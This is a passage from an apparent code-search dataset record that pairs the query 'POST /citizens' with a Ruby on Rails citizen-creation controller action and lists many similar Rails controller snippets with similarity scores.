"0.62882805",
"0.6287679",
"0.62779695",
"0.6261184",
"0.6240621",
"0.62233716",
"0.62089026",
"0.619365",
"0.6183692",
"0.6160835",
"0.6151165",
"0.614707",
"0.61220807",
"0.6118499",
"0.6113368",
"0.609802",
"0.6068274",
"0.60621536",
"0.60105914",
"0.600766",
"0.60045457",
"0.598989",
"0.5985108",
"0.59732395",
"0.5972803",
"0.59598196",
"0.59572583",
"0.59400153",
"0.5925607",
"0.59212255",
"0.5920029",
"0.59112126",
"0.588975",
"0.58782333",
"0.5870853",
"0.5866977",
"0.585525",
"0.5851417",
"0.585117",
"0.584895",
"0.58433",
"0.5823596",
"0.58127797",
"0.5812486",
"0.581103",
"0.5808596",
"0.58051836",
"0.58045435",
"0.5804445",
"0.5788357",
"0.5785764",
"0.57813925",
"0.5779524",
"0.57775056",
"0.57774997",
"0.5774893",
"0.57709986",
"0.57690156",
"0.5768819",
"0.5761164",
"0.5759832",
"0.5758868",
"0.57580817",
"0.57549536",
"0.57494247",
"0.5746298",
"0.5744956",
"0.5744956",
"0.5733529",
"0.5733149",
"0.57307965",
"0.57305604",
"0.5729111",
"0.57271606",
"0.57262343",
"0.5724961",
"0.57229817",
"0.57215494",
"0.57210827",
"0.5719372",
"0.57134396",
"0.5712921",
"0.57126284",
"0.5710326",
"0.57100064",
"0.5708154",
"0.5707573",
"0.570601",
"0.5704202"
] |
0.5769289
|
68
|
POST /citizens POST /citizens.json
|
def create
@citizen = Citizen.new(citizen_params)
@citizen.credits = 1000
unless current_user
@user = User.new(email: params[:email], password: params[:password], password_confirmation: params[:password_confirmation])
unless @user.save
respond_to do |format|
format.html { render :new }
format.json { render json: @user.errors, status: :unprocessable_entity }
end
return
else
@citizen.user = @user
sign_in(:user, @user)
end
else
@citizen.user = current_user
end
respond_to do |format|
if @citizen.save
redirect_path = session[:redirect_to]
session[:redirect_to] = nil
format.html { redirect_to redirect_path || root_url, notice: 'Welcome to Ultimapolis citizen!' }
format.json { render :show, status: :created, location: @citizen }
else
format.html { render :new }
format.json { render json: @citizen.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @citations = Citation.all\n\n render json: @citations\n end",
"def create\n @civil_citation = CivilCitation.new(civil_citation_params)\n\n respond_to do |format|\n if @civil_citation.save\n format.html { redirect_to @civil_citation, notice: 'Civil citation was successfully created.' }\n format.json { render :show, status: :created, location: @civil_citation }\n else\n format.html { render :new }\n format.json { render json: @civil_citation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @record = Record.find(params[:record_id])\n @citation = @record.create_citation(citation_params)\n\n if @citation.save\n render :show, status: :created, location: @citation\n else\n render json: @citation.errors, status: :unprocessable_entity\n end\n end",
"def create\n @references_citation = References::Citation.new(references_citation_params)\n\n respond_to do |format|\n if @references_citation.save\n format.html { redirect_to @references_citation, notice: 'Citation was successfully created.' }\n format.json { render action: 'show', status: :created, location: @references_citation }\n else\n format.html { render action: 'new' }\n format.json { render json: @references_citation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @citation = Citation.new(citation_params)\n\n respond_to do |format|\n if @citation.save\n format.html { redirect_to @citation.citation_object.metamorphosize, notice: 'Citation was successfully created.' }\n format.json { render json: @citation, status: :created, location: @citation }\n else\n format.html { redirect_to :back, notice: 'Citation was NOT successfully created.' }\n format.json { render json: @citation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @citacao = Citacao.new(citacao_params)\n\n respond_to do |format|\n if @citacao.save\n format.html { redirect_to @citacao, notice: 'Citacao was successfully created.' }\n format.json { render action: 'show', status: :created, location: @citacao }\n else\n format.html { render action: 'new' }\n format.json { render json: @citacao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \n respond_to do |format|\n \n if @citum.save\n format.html { redirect_to @citum, notice: 'Cita creada exitosamente.' }\n format.json { render :show, status: :created, location: @citum }\n else\n format.html { render :new }\n format.json { render json: @citum.errors, status: :unprocessable_entity }\n end \n \n end\n end",
"def new\n @citizenship_class = @grantee.citizenship_classes.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @citizenship_class }\n end\n end",
"def create\n @contest = Contest.new(params[:contest])\n @contest.contractor_id = current_user.id\n \n respond_to do |format|\n if @contest.save\n format.html { redirect_to @contest, :notice => 'Contest was successfully created.' }\n format.json { render :json => @contest, :status => :created, :location => @contest }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @contest.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def createCharities\n\tcharity_list = [\"Direct Relief\", \"Catholic Medical Mission Board\", \"MAP International\", \"United Nations Foundation\", \"The Rotary Foundation of Rotary International\", \"Samaritan's Purse\", \"Institute of International Education\", \"International Rescue Committee\", \"Compassion International\", \"United States Fund for UNICEF\"]\n\tcharity_list.each do |charity|\n\t\tRestClient.post 'http://api.reimaginebanking.com/merchants?key=e0486a76005721ee6d86b140eaea2a40', { \"name\": \"#{charity}\"}.to_json, :content_type => :json, :accept => :json\n\tend\nend",
"def set_citizen\n @citizen = Citizen.find(params[:id])\n end",
"def show\n render json: @citation\n end",
"def show\n render json: @citation\n end",
"def create\n @cuisin = Cuisin.new(cuisin_params)\n\n respond_to do |format|\n if @cuisin.save\n format.html { redirect_to @cuisin, notice: 'Cuisin was successfully created.' }\n format.json { render :show, status: :created, location: @cuisin }\n else\n format.html { render :new }\n format.json { render json: @cuisin.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n # { clinic: {\"license_id\"=>nil, \"name\"=>string } }\n clinic = @license.clinics.new(params[:clinic])\n clinic.api_license = @api_license\n if clinic.save\n render json: clinic, status: :created\n else\n render json: clinic.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def create\n @citum = Citum.new(citum_params)\n\n respond_to do |format|\n if @citum.save\n format.html { redirect_to @citum, notice: 'Citum was successfully created.' }\n format.json { render :show, status: :created, location: @citum }\n else\n format.html { render :new }\n format.json { render json: @citum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @citation = Citation.new(params[:citation])\n\n respond_to do |format|\n if @citation.save\n flash[:notice] = 'Citation was successfully created.'\n format.html { redirect_to(@citation) }\n format.xml { render :xml => @citation, :status => :created, :location => @citation }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @citation.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @citizen_form = CitizenForm.new(citizen_form_params)\n @citizen_form.user_id = current_user.id\n\n respond_to do |format|\n if @citizen_form.save\n format.html { redirect_to @citizen_form, notice: 'Citizen form was successfully created.' }\n format.json { render :show, status: :created, location: @citizen_form }\n else\n format.html { render :new }\n format.json { render json: @citizen_form.errors, status: :unprocessable_entity }\n end\n end\n end",
"def citizen_params\n params.require(:citizen).permit(:email, :password, :email_notifications, :daily_updates, :instant_updates, :home_district_id, :current_profession_id)\n end",
"def create\n @cict = Cict.new(cict_params)\n\n respond_to do |format|\n if @cict.save\n format.html { redirect_to @cict, notice: 'Cict was successfully created.' }\n format.json { render :show, status: :created, location: @cict }\n else\n format.html { render :new }\n format.json { render json: @cict.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @civil_citations = CivilCitation.all\n end",
"def create\n @county = County.new(params[:county])\n\n respond_to do |format|\n if @county.save\n format.html { redirect_to @county, notice: 'County was successfully created.' }\n format.json { render json: @county, status: :created, location: @county }\n else\n format.html { render action: \"new\" }\n format.json { render json: @county.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @clonet = Clonet.new(params[:clonet])\n\n respond_to do |format|\n if @clonet.save\n format.html { redirect_to @clonet, notice: 'Clonet was successfully created.' }\n format.json { render json: @clonet, status: :created, location: @clonet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @clonet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def citation_params\n params.require(:citation).permit(:date, :time, :observation, :quantity, :state, :service_id, :client_id)\n end",
"def citation_save\n project_id = params[:project_id]\n doc_id = params[:doc_id]\n citation_type = params[:citation_type]\n\n project = Project.find(project_id)\n result = project.update_citation(doc_id, citation_type)\n\n if result < 1\n result = project.insert_citation(doc_id, citation_type)\n end\n\n respond_to do |format|\n if result < 1\n format.js { render json: \"{ \\\"id\\\": \\\"success\\\" }\" }\n else\n format.js { render json: \"{ \\\"id\\\": \\\"error\\\" }\" }\n end\n end\n end",
"def create\n @citation = Citation.new(citation_params)\n respond_to do |format|\n if verify_recaptcha(model: @citation) && @citation.save\n format.html { redirect_to @citation, notice: 'Citation was successfully created.' }\n format.json { render :show, status: :created, location: @citation }\n else\n format.html { render :new }\n format.json { render json: @citation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cvi = Cvi.new(params[:cvi])\n @people = Person.all\n\n respond_to do |format|\n if @cvi.save\n format.html { redirect_to @cvi, notice: 'Cvi was successfully created.' }\n format.json { render json: @cvi, status: :created, location: @cvi }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cvi.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @counseling = Counseling.new(counseling_params)\n\n respond_to do |format|\n if @counseling.save\n format.html { redirect_to @counseling, notice: 'Counseling was successfully created.' }\n format.json { render :show, status: :created, location: @counseling }\n else\n format.html { render :new }\n format.json { render json: @counseling.errors, status: :unprocessable_entity }\n end\n end\n end",
"def citation_params\n params.require(:citation).permit(:text, :json, :record_id, :q)\n end",
"def new\n @critic = Critic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @critic }\n end\n end",
"def create\n neo = Neography::Rest.new\n city = neo.create_node(params[:city])\n redirect_to cities_path\n end",
"def create\n @councils = Council.order(title: :asc)\n @post = @council.posts.build(post_params) \n respond_to do |format|\n if @post.save \n format.html { redirect_to council_posts_path(@council), notice: 'Posten skapades!' }\n format.json { render action: 'show', status: :created, location: @post }\n else\n format.html { render action: 'new' }\n format.json { render json: @posts.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \n @user = current_user\n @research_c = @user.create_research_c(params[:research_c])\n\n respond_to do |format|\n if @research_c.save\n format.html { redirect_to task2_path, notice: 'Research c was successfully created.' }\n format.json { render json: @research_c, status: :created, location: @research_c }\n else\n format.html { render action: \"new\" }\n format.json { render json: @research_c.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @csosn = Csosn.new(params[:csosn])\n\n respond_to do |format|\n if @csosn.save\n format.html { redirect_to @csosn, notice: 'Csosn was successfully created.' }\n format.json { render json: @csosn, status: :created, location: @csosn }\n else\n format.html { render action: \"new\" }\n format.json { render json: @csosn.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @critic = Critic.new(params[:critic])\n\n respond_to do |format|\n if @critic.save\n format.html { redirect_to @critic, notice: 'Critic was successfully created.' }\n format.json { render json: @critic, status: :created, location: @critic }\n else\n format.html { render action: \"new\" }\n format.json { render json: @critic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def citacao_params\n params.require(:citacao).permit(:trecho, :pagina_inicial, :palavras_chave, :livro_id)\n end",
"def create\n @clinician = Clinician.new(params[:clinician])\n\n respond_to do |format|\n if @clinician.save\n format.html { redirect_to @clinician, notice: 'Clinician was successfully created.' }\n format.json { render json: @clinician, status: :created, location: @clinician }\n else\n format.html { render action: \"new\" }\n format.json { render json: @clinician.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_team_member\n clinics = params[:clinics].split(\", \")\n\n team_member = TeamMember.create(\n email: params[:email],\n first_name: params[:first_name],\n last_name: params[:last_name],\n user: params[:user],\n status: \"Active\",\n role: params[:role]\n )\n\n clinics.each do |clinic|\n Clinic.find(clinic).team_members << team_member\n end\n\n render json: team_member, include: ['clinics']\n end",
"def create\n @citizenship_class = @grantee.citizenship_classes.new(params[:citizenship_class])\n\n respond_to do |format|\n if @citizenship_class.save\n format.html { redirect_to [@grantee, @citizenship_class], notice: 'Citizenship class was successfully created.' }\n format.json { render json: @citizenship_class, status: :created, location: @citizenship_class }\n else\n format.html { render action: \"new\" }\n format.json { render json: @citizenship_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @interest = Interest.new(params[:interest])\n \n respond_to do |format|\n if @interest.save\n format.json { render :json => @interest,\n :status => :created, :location => @interest }\n else\n format.json { render :json => @interest.errors,\n :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @clonet = Clonet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clonet }\n end\n end",
"def create\n @civilization = Civilization.new(params[:civilization])\n\n respond_to do |format|\n if @civilization.save\n format.html { redirect_to @civilization, notice: 'Civilization was successfully created.' }\n format.json { render json: @civilization, status: :created, location: @civilization }\n else\n format.html { render action: \"new\" }\n format.json { render json: @civilization.errors, status: :unprocessable_entity }\n end\n end\n end",
"def search_citation\n doc_id = params[:doc_id]\n doc_num = params[:doc_num]\n citations = []\n error = false\n\n citation = Citation.find_by citation_id: doc_id\n\n if citation\n citations << citation.citation_mla\n citations << citation.citation_apa\n citations << citation.citation_chicago\n else\n url = URI.escape(\"http://scholar.google.com/scholar?q=info:#{doc_id}:scholar.google.com/&output=cite&scirp=#{doc_num}\")\n uri = URI.parse(url)\n req = Net::HTTP::Get.new(uri)\n\n res = Net::HTTP.start(uri.hostname, uri.port) {|http|\n http.request(req)\n }\n\n response = res.body\n begin\n cleaned = res.body.dup.force_encoding('UTF-8')\n unless cleaned.valid_encoding?\n cleaned = res.body.encode( 'UTF-8', 'Windows-1251' )\n end\n response = cleaned\n rescue EncodingError\n response.encode!( 'UTF-8', invalid: :replace, undef: :replace )\n end\n\n result_indexes = []\n\n response.to_enum(:scan,/class=\"gs_citr\">/i).map do |m,|\n result_indexes << $`.size+16\n end\n\n close_div_indexes = []\n\n response.to_enum(:scan,/<\\/div><\\/td>/i).map do |m,|\n close_div_indexes << $`.size-1\n end\n\n for n in 0..2\n citations[n] = response[result_indexes[n]..close_div_indexes[n]]\n end\n\n begin\n project = Project.find(params[:project_id])\n citation = project.citations.create(:citation_id => doc_id, :citation_mla => citations[0], :citation_apa => citations[1], :citation_chicago => citations[2])\n if !citation.save\n error = true\n end\n rescue\n # ignored\n end\n end\n\n respond_to do |format|\n if !error\n format.js { render json: citations }\n else\n format.js { render json: error }\n end\n end\n end",
"def create\n @contestant = Contestant.new(contestant_params)\n\n \n if @contestant.save\n render json: @contestant\n else\n render json: @contestant.errors\n end\n \n end",
"def new\n @user = current_user\n @research_c = ResearchC.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @research_c }\n end\n end",
"def new\n @clinician = Clinician.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clinician }\n end\n end",
"def create\n (head :unauthorized unless @user.students.find_by_id(params[:contract][:user_id])) and return\n\n contract = Contract.new(contract_params)\n if contract.save\n puts render json: contract\n else\n render json: { errors: contract.errors.full_messages }\n end\n end",
"def new\n @csosn = Csosn.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @csosn }\n end\n end",
"def create\n # services / get_nutrients.rb\n fetched_params = GetNutrients.new(params[:marmiton_url]).perform\n puts fetched_params\n @recipe = Recipe.new(fetched_params)\n respond_to do |format|\n if @recipe.save\n format.html { redirect_to root_path, notice: 'La recette a été crée.' }\n else\n format.html { redirect_to root_path, notice: \"La recette n'a pas pu être ajoutée.\" }\n end\n end\n end",
"def new\n @colaboration = Colaboration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @colaboration }\n end\n end",
"def create\n @crime = Crime.new(params[:crime])\n\n respond_to do |format|\n if @crime.save\n format.html { redirect_to @crime, notice: 'Crime was successfully created.' }\n format.json { render json: @crime, status: :created, location: @crime }\n else\n format.html { render action: \"new\" }\n format.json { render json: @crime.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n authorize :question_resquest_criminal, :create?\n @question_resquest_criminal = QuestionResquestCriminal.new(question_resquest_criminal_params)\n\n respond_to do |format|\n if @question_resquest_criminal.save\n format.html { redirect_to @question_resquest_criminal, notice: 'Question resquest criminal was successfully created.' }\n format.json { render :show, status: :created, location: @question_resquest_criminal }\n else\n format.html { render :new }\n format.json { render json: @question_resquest_criminal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n course = Course.includes(:professors).new(course_params)\n course.professor_ids=(params[:professors])\n\n if course.save\n render json: course.to_json(include: :professors)\n else\n render :json => { :errors => course.errors }, :status => 422\n end\n end",
"def create # rubocop:disable Metrics/AbcSize\n @discipline = Discipline.new(discipline_params)\n\n respond_to do |format|\n if @discipline.save\n current_user.notebook.disciplines << @discipline\n format.html { redirect_to @discipline, notice: 'Discipline was successfully created.' }\n format.json { render :show, status: :created, location: @discipline }\n else\n format.html { render :new }\n format.json { render json: @discipline.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @court = Court.new(params[:court])\n\n respond_to do |format|\n if @court.save\n format.html { redirect_to @court, notice: 'Court was successfully created.' }\n format.json { render json: @court, status: :created, location: @court }\n else\n format.html { render action: \"new\" }\n format.json { render json: @court.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @niche = current_user.niches.new(processed_params)\n if @niche.save\n render json: { status: 'ok' }\n else\n render json: { status: @niche.errors.to_a.join('base') }\n end\n end",
"def create\n @cerc = Cerc.new(params[:cerc])\n\n if @cerc.save\n render json: @cerc, status: :created, location: @cerc\n else\n render json: @cerc.errors, status: :unprocessable_entity\n end\n end",
"def list_citizens\n\t\tputs \"\"\n\t\t@citizens.each do |citizen|\n\t\t\tprint \"#{citizen.voter_id}\\t#{citizen.class}, #{citizen.name}, \"\n\t\t\tputs case citizen\n\t\t\twhen Person then citizen.politics\n\t\t\twhen Politician then citizen.party\n\t\t\tend\n\t\tend\n\t\tputs \"No citizens yet!\" if @citizens.none?\n\tend",
"def index\n @citizenship_classes = @grantee.citizenship_classes.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @citizenship_classes }\n end\n end",
"def create\n @counselor = Counselor.new(params[:counselor])\n @counselor.institution = @institution\n flash[:notice] = 'Counselor was successfully created.' if @counselor.save\n respond_with([@institution, @counselor], :location => institution_url(@institution))\n end",
"def new\n @county = County.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @county }\n end\n end",
"def index\n @disciplines = Discipline.all\n\n render json: @disciplines\n end",
"def create\n @interest = Interest.new(params[:interest])\n\n respond_to do |format|\n if @interest.save\n format.html { redirect_to @interest, :notice => 'Interest was successfully created.' }\n format.json { render :json => @interest, :status => :created, :location => @interest }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @interest.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n\n if param? params[:random]\n\n @citation = Citation.order(\"RANDOM()\").first\n\n render json: @citation \n\n else\n\n @citations = Citation.all\n\n render json: @citations\n\n end\n end",
"def create\n @facility = Facility.new(facility_params)\n @facility.citizen = current_citizen\n\n respond_to do |format|\n if @facility.save\n format.html { redirect_to @facility, notice: 'Facility was successfully built.' }\n format.json { render :show, status: :created, location: @facility }\n else\n format.html { render :new }\n format.json { render json: @facility.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if params[:cit_ids].present?\n params[:cit_ids].each do |id|\n chit = Footnote.find(id)\n chit.destroy\n end\n end\n if params[:biblioentries_ids].present?\n params[:biblioentries_ids].each do |id|\n biblio = Biblioentry.find(id)\n footnote = Footnote.create(slug: '', body: biblio.name, biblioentry_id: id)\n footnote.noted = @chapter\n footnote.save\n end\n end\n\n respond_to do |format|\n# format.html do\n# redirect_to chapter_citations_url(chapter_id: @chapter.id), notice: 'Citations were successfully updated.'\n# end\n format.json { render :show, status: :ok, location: @citation }\n flash.now[:notice] = \"Citation was successfully updated.\"\n format.turbo_stream do\n do_index\n render \"citations/index\", locals: { object: Footnote.new, objects: @citations }\n end\n end\n end",
"def civil_citation_params\n params.require(:civil_citation).permit(:book_num, :issued_to, :start_c_num, :end_c_num, :issue_date, :issue_by, :return_date, :return_by, :empty)\n end",
"def create\n @discipline = Discipline.new(discipline_params)\n @discipline.users_id = current_user.id\n\n respond_to do |format|\n if @discipline.save\n @discipline.codigo = \"DISC-%04d\" % [@discipline.id]\n @discipline.save\n if params[:anexos]\n\n params[:anexos].each { |anx|\n @discanexo = Discanexo.new\n @discanexo.anexo = anx\n @discanexo.Discipline_id = @discipline.id\n @discanexo.save\n }\n end\n flash[:success] = \"Disciplina cadastrada com sucesso.\"\n format.html { redirect_to @discipline}\n format.json { render :show, status: :created, location: @discipline }\n else\n format.html { render :new }\n format.json { render json: @discipline.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @clinician = Clinician.new(clinician_params)\n\n respond_to do |format|\n if @clinician.save\n format.html { redirect_to @clinician, notice: 'Clinician was successfully created.' }\n format.json { render :show, status: :created, location: @clinician }\n else\n format.html { render :new }\n format.json { render json: @clinician.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @contest = Contest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contest }\n end\n end",
"def new\n @contest = Contest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contest }\n end\n end",
"def set_citizen_form\n @citizen_form = CitizenForm.find(params[:id])\n end",
"def create\n @counselledperson = Counselledpersons.new(counselledperson_params)\n\n respond_to do |format|\n if @counselledperson.save\n format.html { redirect_to @counselledperson, notice: 'Counselledpersons was successfully created.' }\n format.json { render :show, status: :created, location: @counselledperson }\n else\n format.html { render :new }\n format.json { render json: @counselledperson.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @curnit = Curnit.new(params[:curnit])\n\n respond_to do |format|\n if @curnit.save\n format.html { redirect_to(@curnit, :notice => 'Curnit was successfully created.') }\n format.xml { render :xml => @curnit, :status => :created, :location => @curnit }\n format.json { render :json => @curnit, :status => :created, :location => @curnit }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @curnit.errors, :status => :unprocessable_entity }\n format.json { render :json => @curnit.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n if Candidate.count == 0\n source = 'https://geekhunter-recruiting.s3.amazonaws.com/code_challenge.json'\n resp = Net::HTTP.get_response(URI.parse(source))\n data = resp.body\n result = JSON.parse(data)\n result[\"candidates\"].each do |c|\n technologies = []\n c[\"technologies\"].each do |tech|\n technologies.push({ name: tech[\"name\"], is_main_tech: tech[\"is_main_tech\"] })\n end\n candidate = Candidate.new({ city: c[\"city\"], experience: c[\"experience\"], technologies: technologies })\n # if Candidate.find_by_cpf(c[\"cpf\"]).nil?\n # candidate.save\n # end\n candidate.save\n end\n end\n @candidates = Candidate.all\n end",
"def create\n @interest = Interest.new(params[:interest])\n\n respond_to do |format|\n if @interest.save\n format.html { redirect_to @interest, notice: 'Interest was successfully created.' }\n format.json { render json: @interest, status: :created, location: @interest }\n else\n format.html { render action: \"new\" }\n format.json { render json: @interest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # TODO 既存 team を含めて保存する場合は認証に対応させる\n @concert = Concert.new(concert_savable_params)\n\n if @concert.save\n render :show, status: :created\n else\n render json: @concert.errors, status: :unprocessable_entity\n end\n end",
"def citizen_form_params\n params.require(:citizen_form).permit(:name, :date_of_birth, :bio, :twitter, :github, :website, :user_id)\n end",
"def create\n @national = National.new(national_params)\n\n respond_to do |format|\n if @national.save\n format.html { redirect_to @national, notice: 'National was successfully created.' }\n format.json { render :show, status: :created, location: @national }\n else\n format.html { render :new }\n format.json { render json: @national.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @q = Citation.search(params[:q])\n @q.sorts = 'id asc' if @q.sorts.empty?\n if params[:page] != \"false\"\n @citations = @q.result(distinct: true).page(params[:page])\n else\n @citations = @q.result(distinct: true)\n end\n\n respond_to do |format|\n format.html { render :index }\n format.json { render :json => @citations.to_json(\n :only => [:title, :author, :bibtex, :journal, :year,\n :volume, :pages, :month, :note, :key]\n )\n }\n end\n end",
"def new\n @civilization = Civilization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @civilization }\n end\n end",
"def new\n @citation = Citation.new\n\n respond_to do |format|\n format.html # new.html.erb\n end\n end",
"def create_clinician\n @clinician = Clinician.new(params[:clinician])\n @clinician.save\n @clinicians = Clinician.find(:all)\n redraw 'clinicians'\n end",
"def new\n @contest = Contest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @contest }\n end\n end",
"def create\n @court = Court.new(court_params)\n\n respond_to do |format|\n if @court.save\n format.html { redirect_to @court, notice: 'Court was successfully created.' }\n format.json { render :show, status: :created, location: @court }\n else\n format.html { render :new }\n format.json { render json: @court.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n respond_to do |format|\n if @ai_contest.update_attributes(permitted_params)\n format.html { redirect_to @ai_contest, notice: 'Ai contest was successfully created.' }\n format.json { render json: @ai_contest, status: :created, location: @ai_contest }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ai_contest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @court = Court.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @court }\n end\n end",
"def new\n @intern = Intern.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @intern }\n end\n end",
"def citation_params\n params.require(:citation).permit(:citation_object_type, :citation_object_id, :source_id)\n end",
"def update_citizen\n\t\tif @citizens.any?\n\t\t\tvoter_id = get_voter_id\n\t\t\tif citizen = @citizens.select{ |whose| whose.voter_id == voter_id }.pop\n\t\t\t\tcitizen.update_name\t\n\t\t\t\tcase citizen\n\t\t\t\twhen Person then citizen.update_politics\n\t\t\t\twhen Politician then citizen.update_party\t\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tputs \"Citizen not found!\"\n\t\t\tend\n\t\telse\n\t\t\tputs \"No citizens yet!\"\n\t\tend\n\tend",
"def new\n @census_count = CensusCount.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @census_count }\n end\n end",
"def create\n @colaborattor = Colaborattor.new(colaborattor_params)\n\n respond_to do |format|\n if @colaborattor.save\n format.html { redirect_to colaborattors_path, notice: I18n.t('messages.created_with', item: @colaborattor.colaborattorname) }\n format.json { render :show, status: :created, location: @colaborattor }\n else\n format.html { render :new }\n format.json { render json: @colaborattor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @contraindication = Contraindication.new(contraindication_params)\n\n respond_to do |format|\n if @contraindication.save\n format.html { redirect_to @contraindication, notice: 'Contraindication was successfully created.' }\n format.json { render action: 'show', status: :created, location: @contraindication }\n else\n format.html { render action: 'new' }\n format.json { render json: @contraindication.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post(cnpj, branch, contractId, body)\n self.class.post(\"/aldebaran-carriers/carriers/#{cnpj}/contracts/#{branch}/#{contractId}/regions\", :basic_auth => @auth, :body => body.to_json)\n end",
"def new\n @crime = Crime.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @crime }\n end\n end",
"def new\n @citation = Citation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @citation }\n end\n end",
"def create\n @inscrito = Inscrito.new(params[:inscrito])\n\n respond_to do |format|\n if @inscrito.save\n format.html { redirect_to @inscrito, notice: 'Inscrito was successfully created.' }\n format.json { render json: @inscrito, status: :created, location: @inscrito }\n else\n format.html { render action: \"new\" }\n format.json { render json: @inscrito.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @interest = Interest.new(interest_params)\n authorize @interest\n respond_to do |format|\n if @interest.save\n format.html { redirect_to @interest, notice: t('flash.notice.created') }\n format.json { render :show, status: :created, location: @interest }\n else\n format.html { render :new }\n format.json { render json: @interest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @recipe = Recipe.new(recipe_params)\n @recipe.cusine = params[:recipe][:cusine]\n\n respond_to do |format|\n if @recipe.save\n format.html { redirect_to recipes_path, notice: 'Recipe was successfully created.' }\n format.json { render :show, status: :created, location: @recipe }\n else\n @recipes = Recipe.all\n format.html { render :index }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @interview_criterium = InterviewCriterium.new(interview_criterium_params)\n\n respond_to do |format|\n if @interview_criterium.save\n format.html { redirect_to @interview_criterium, notice: 'Interview criterium was successfully created.' }\n format.json { render :show, status: :created, location: @interview_criterium }\n else\n format.html { render :new }\n format.json { render json: @interview_criterium.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @nature_financing = NatureFinancing.new(nature_financing_params)\n @nature_financing.institute = current_institute\n\n respond_to do |format|\n if @nature_financing.save\n format.html { redirect_to @nature_financing, notice: 'Nature financing was successfully created.' }\n format.json { render :show, status: :created, location: @nature_financing }\n else\n format.html { render :new }\n format.json { render json: @nature_financing.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6442044",
"0.62185484",
"0.59085095",
"0.5822771",
"0.5801595",
"0.5800005",
"0.57639503",
"0.57601225",
"0.57312685",
"0.5723714",
"0.56715757",
"0.56303275",
"0.56303275",
"0.56181085",
"0.55882895",
"0.55800843",
"0.5579112",
"0.5566575",
"0.5532915",
"0.55213076",
"0.5515156",
"0.5508469",
"0.54926014",
"0.54476774",
"0.5419775",
"0.5419423",
"0.5397727",
"0.53958565",
"0.5393456",
"0.5377965",
"0.53698444",
"0.53643745",
"0.5356581",
"0.53549695",
"0.53451866",
"0.53423464",
"0.5321236",
"0.531941",
"0.5308601",
"0.53017926",
"0.5301335",
"0.52984846",
"0.52967227",
"0.5296145",
"0.52944005",
"0.52940345",
"0.5292313",
"0.5285933",
"0.5279709",
"0.5275927",
"0.52663743",
"0.5261539",
"0.5258492",
"0.525219",
"0.525182",
"0.52443373",
"0.52400005",
"0.5235143",
"0.5227432",
"0.52253723",
"0.52221483",
